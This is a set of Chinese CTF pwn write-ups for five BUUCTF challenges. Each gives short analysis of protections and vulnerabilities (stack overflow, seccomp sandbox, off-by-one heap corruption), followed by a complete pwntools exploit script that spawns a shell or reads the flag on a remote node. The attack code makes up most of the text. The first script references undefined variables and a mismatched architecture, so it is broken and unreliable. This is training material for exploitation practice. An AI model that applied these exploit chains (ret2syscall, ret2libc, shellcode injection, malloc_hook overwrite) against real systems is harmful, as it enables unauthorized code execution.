51 cmcc_simplerop
保护
平平无奇栈溢出。
溢出长度虽然IDA里面 说v4开了0x14
但是在gdb里面调试的时候发现ebp上面压了两个其他局部变量。
有系统调用,可以ret2syscall。
exp
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 28515)
#r = process('./51')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./51")
int_80h = 0x80493e1
pop_eax = 0x080bae06
pop_dcb = 0x0806e850
read_addr = 0x0806CD50
bss_addr = 0x80EBF79
payload = 'a' * 32 + p32(read_addr)
payload += p32(pop_dcb) + p32(0) + p32(bin_sh) + p32(0x8)
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_dcb) + p32(0) + p32(0) + p32(bin_sh)
payload += p32(int_addr)
r.recvuntil('input :')
r.sendline(payload)
r.sendline('/bin/sh\x00')
r.interactive()
52 pwnable_orw
保护
一看就是加了沙箱
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
第一次调用prctl函数 ————禁止提权
第二次调用prctl函数 ————限制能执行的系统调用只有open,read,write,exit
所以我们就是通过open函数打开flag文件,然后read读取,write写出来。
exp
from pwn import *
context(os = "linux", arch = "i386", log_level= "debug")
r = remote("node3.buuoj.cn", 27008)
shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
#sys_open(file,0,0)
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
#sys_read(3,file,0x100)
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
#sys_write(1,file,0x30)
r.sendlineafter('shellcode:', shellcode)
r.interactive()
53 jarvisoj_level1
保护
平平无奇栈溢出。
还输出了buf的地址。
而且没开NX,所以直接把shellcode写到栈上,再溢过去就行。
当然也可以ret2libc。
就不写了。
本地跟远程不大一样。
exp
本地
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
#r = remote('node3.buuoj.cn', 29837)
r = process('./53')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./53")
#r.send('\n')
r.recvuntil("0x")
buf_addr = int(r.recv(8), 16)
print hex(buf_addr)
shellcode = asm(shellcraft.sh())
payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
r.recvuntil("?\n")
r.send(payload)
r.interactive()
远程
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
#r = remote('node3.buuoj.cn', 29837)
r = process('./53')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./53")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']
payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)
r.send(payload)
write_addr = u32(r.recv(4))
libc_base=write_addr-libc.sym['write']
system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search('/bin/sh').next()
payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
r.send(payload)
r.interactive()
54 roarctf_2019_easy_pwn
保护
这个全绿有点厉害。
create
他对输入的大小是有限制的。
这个地方比较难理解
看它的汇编代码。
以上面那个图得第一条位例
就是把那个地方里面存着的地址加上4 * i得偏移所得到的地址那个地方写上1。
write
这个地方说要是后面写的大小比前面大10就会多写一个字节,就会有off by one漏洞。
drop
show
drop与show都是平平无奇。
主要是那个off by one漏洞。
通过制造overlapping,然后 实际起到的效果就是chunk2能够控制,但是已经在undorted链里面了,这就跟uaf的效果一样。通过它来泄露地址,然后做fastbin_attack。
当然还是先泄露地址,然后再攻击malloc_hook吧。
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 27844)
#r = process('./54')
libc = ELF("./64/libc-2.23.so")
elf=ELF("./54")
def create(size):
r.recvuntil("choice: ")
r.sendline("1")
r.recvuntil("size: ")
r.sendline(str(size))
r.recvuntil("\n")
def write(index, size, content):
r.recvuntil("choice: ")
r.sendline("2")
r.recvuntil("index: ")
r.sendline(str(index))
r.recvuntil("size: ")
r.sendline(str(size))
r.recvuntil("content: ")
r.sendline(content)
def drop(index):
r.recvuntil("choice: ")
r.sendline("3")
r.recvuntil("index: ")
r.sendline(str(index))
def show(index):
r.recvuntil("choice: ")
r.sendline("4")
r.recvuntil("index: ")
r.sendline(str(index))
one_gadget = 0x4527a
create(0x18)
create(0x60)
create(0x60)
create(0x10)
payload = 'a' * 0x18 + '\xe1'
write(0, 0x18 + 10, payload)
drop(1)
create(0x60)
show(2)
main_arena=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
libc_base=main_arena-0x3c4b20
one_gadget = libc_base + one_gadget
malloc_hook = libc_base+libc.symbols['__malloc_hook']
realloc = libc_base+libc.symbols['__libc_realloc']
create(0x60)
drop(4)
payload = p64(malloc_hook - 0x23)
write(2, 8, payload)
create(0x60)
payload = 'a' * 0xb + p64(one_gadget) + p64(realloc + 13)
create(0x60)
write(5, 0x1b, payload)
r.recvuntil('choice: ')
r.sendline('1')
r.recvuntil('size: ')
r.sendline(str(0x20))
r.interactive()
这个exp可以过本地,远程可能它的libc有些问题吧,过不了,网上其它wp也都过不了。
55 picoctf_2018_buffer overflow 2
保护
平平无奇栈溢出。
满足条件溢一下就好了。
exp
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 26240)
#r = process('./55')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./55")
win_addr = 0x80485cb
payload = 'a' * 0x70 + p32(win_addr) +'aaaa' + p32(0x0DEADBEEF) + p32(0x0DEADC0DE)
r.sendline(payload)
r.interactive()